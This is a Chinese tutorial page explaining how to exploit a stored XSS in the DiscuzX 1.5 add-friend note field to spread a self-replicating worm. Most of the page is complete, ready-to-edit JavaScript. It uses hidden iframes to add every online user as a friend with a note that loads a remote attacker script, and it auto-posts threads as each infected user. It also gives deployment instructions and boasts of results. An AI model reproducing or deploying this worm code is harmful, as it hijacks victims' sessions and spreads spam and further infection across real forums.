您现在的位置是:首页 > cms教程 > Discuz教程Discuz教程
DiscuzX1.5利用添加好友处存储xss进行蠕虫worm扩散
听蓉2025-07-13Discuz教程已有人查阅
导读DiscuzX1.5在添加好友的地方有处存储xss,借助此处xss跟用户交互可以进行蠕虫指数扩散,位置在添加好友处x完之后的效果,点击后触发。
DiscuzX1.5在添加好友的地方有处存储xss,借助此处xss跟用户交互可以进行蠕虫指数扩散,位置在添加好友处x完之后的效果,点击后触发。
ok借助此存储xss,我们进行worm传播,dz的会话cookie是被打伤http-only的,但是xss的效果是获取你当前域下的用户会话的权限。这不干扰我们worm的进行。
step1:attacker发送带xss worm payload给用户a
step2:用户A点击后,自身作为宿主去添加其他人为好友,并且附带攻击payload
step3:被x的用户互相感染,成指数增长,为了验证,凡是被感染的用户都会被我们用js控制发一个帖子没code说个jb,worm代码如下你需要修改
1 urlBase 为你的想1.5 论坛基地址
2 存放xss的payload的地址
ok借助此存储xss,我们进行worm传播,dz的会话cookie是被打伤http-only的,但是xss的效果是获取你当前域下的用户会话的权限。这不干扰我们worm的进行。
step1:attacker发送带xss worm payload给用户a
step2:用户A点击后,自身作为宿主去添加其他人为好友,并且附带攻击payload
step3:被x的用户互相感染,成指数增长,为了验证,凡是被感染的用户都会被我们用js控制发一个帖子没code说个jb,worm代码如下你需要修改
1 urlBase 为你的想1.5 论坛基地址
2 存放xss的payload的地址
//code for xss test
//论坛的基地址
var urlBase = "http://forum.xxx.com";
var add= function(uid){
var ifBox = window['ifBox'] || (window['ifBox']={});
var uyk = (new Date()).getTime();
var ifFame = ifBox[uyk] =document.createElement("iframe");
ifFame.src=urlBase + "/home.php?mod=spacecp&ac=friend&op=add&uid="+uid;
ifFame.width=0;ifFame.height=0;
ifFame.onload = function(){
try{
//存放xss payload的地址
ifFame.contentDocument.getElementsByName("note")[0].value= 'hello<script src="http://xxx.xxx.xxx/js/dz.js"></script>';
ifFame.contentDocument.getElementById("addsubmit_btn").click();
ifFame=null;
}catch(err){
}
}
document.body.appendChild(ifFame);
}
var newThread = function(){
var if1 = document.createElement("iframe");
if1.src= urlBase+"/forum.php?mod=post&action=newthread&fid=21";
if1.width=0;if1.height=0;
if1.onload = function(){
var doc =if1.contentDocument;
doc.getElementById("subject").value = "哇卡卡卡~~~";
if1.contentDocument.getElementById("e_iframe").contentDocument.body.innerHTML =" _______________</br>< XSS Worm Test ></br> ---------------</br> \ ^__^</br> \ (oo)\_______</br> (__)\ )\/\</br> ||----w |</br> || ||</br>";
doc.getElementById("postsubmit").click();
if1.onload = function(){return false;}
}
document.body.appendChild(if1);
}
var if0 = document.createElement("iframe");
if0.src= urlBase + "/forum.php?showoldetails=yes#online";
if0.width=0;if0.height=0;
if0.onload = function(){
var uli =if0.contentDocument.getElementsByTagName("li");
for(var i = 0;i<uli.length;i++){
if(uli.title.length > 5){
var uid = uli.childNodes[3].href.substring(uli.childNodes[3].href.indexOf("uid=")+4);
var r = Math.round(Math.random() * 10);
// if(i%10 == r){
//轻点
newThread();
add(uid);
// }
}
}
}
document.body.appendChild(if0);
这里面又很多的坑包括js的异步加载,跨iframe的元素操作等等,希望对其他人能提供帮助,实际的worm效果是,20分钟内刷了30页,每页20篇的论坛帖子把。
本文标签:
很赞哦! ()
相关教程
图文教程
Discuz自定义积分日志的方法
在有些项目中可能会遇到积分相关操作,同时需要将自己的积分操作加入积分日志,整理了一下。积分提现:积分变更的JS浮动提示信息中的文字;
解决Discuz百度小程序搜索排名不佳的问题
面对Discuz百度小程序搜索排名不佳的问题,我们需要从多个角度来进行深入分析和优化。搜索排名不佳可能涉及到小程序的SEO、用户体验、内容质量以及百度算法的变化等多个方面。
Discuz论坛自动发帖机实现方法
1. 起因:某人在自己的空间搭了个discuz,设置了诸多必须灌水的邪恶规定。本人一向潜水员当惯了当然不爽。a. discuz论坛无任何图片验证码,包括登陆以及发帖的时候。
Windows部署配置php+mysql搭建Discuz
Discuz! X 是一款以 PHP 为编程语言,以 MySQL 为数据库,并使用 Apache/IIS/Nginx(任意一种即可) 提供 web 服务的产品。要搭建 Discuz! X 站点,服务器必须安装由 PHP、MySQL、Apa
相关源码
-
(自适应响应式)家电维修清晰服务网站pbootcms模板免费下载本模板基于PbootCMS内核开发,为维修服务类企业打造,特别适合家电维修、设备维护等行业使用。通过简洁直观的界面设计,帮助企业快速搭建专业级服务平台,实现线上业务高效管理。查看源码 -
(自适应响应式)高端家用办公家具家居桌椅pbootcms模板下载为办公家具企业设计的响应式网站模板,涵盖产品展示、案例呈现、企业介绍等核心模块。通过可视化后台可快速发布实木桌椅、系统家具、办公屏风等产品信息,帮助客户直观了解材质参数与空间搭配方案。查看源码 -
(自适应响应式)动力刀座五金机械设备pbootcms网站源码下载为动力刀座及五金机械企业定制的响应式网站框架,基于PbootCMS系统深度开发,助力传统制造企业实现数字化转型升级。采用手工编写的DIV+CSS前端架构,代码执行效率提升40%。查看源码 -
(自适应)文案文档作文写作word资源网站模板下载本模板基于PbootCMS系统深度开发,针对电影解说、文案分享类网站的特殊需求设计。采用响应式布局技术,确保在手机端和桌面端都能呈现专业的内容展示效果,帮助运营者高效管理影视解说资源。查看源码 -
(响应式)wordpress模板VieuV4.5主题资讯自媒体博客源码Vieu主题专注于个人博客与企业展示场景,采用响应式设计确保在手机、电脑、平板等多设备上的展示。主题集成会员中心、投稿系统、内容保护等实用功能,满足现代博客网站的建设需求。查看源码 -
(PC+WAP)红色驾校培训学车在线预约源码下载基于PbootCMS内核开发的驾校培训专用网站模板,深度适配驾驶培训行业展示需求。采用PC与移动端同步响应设计,单一后台统一管理内容数据,更换图文素材后可快速转变为其他行业网站。查看源码
| 分享笔记 (共有 篇笔记) |
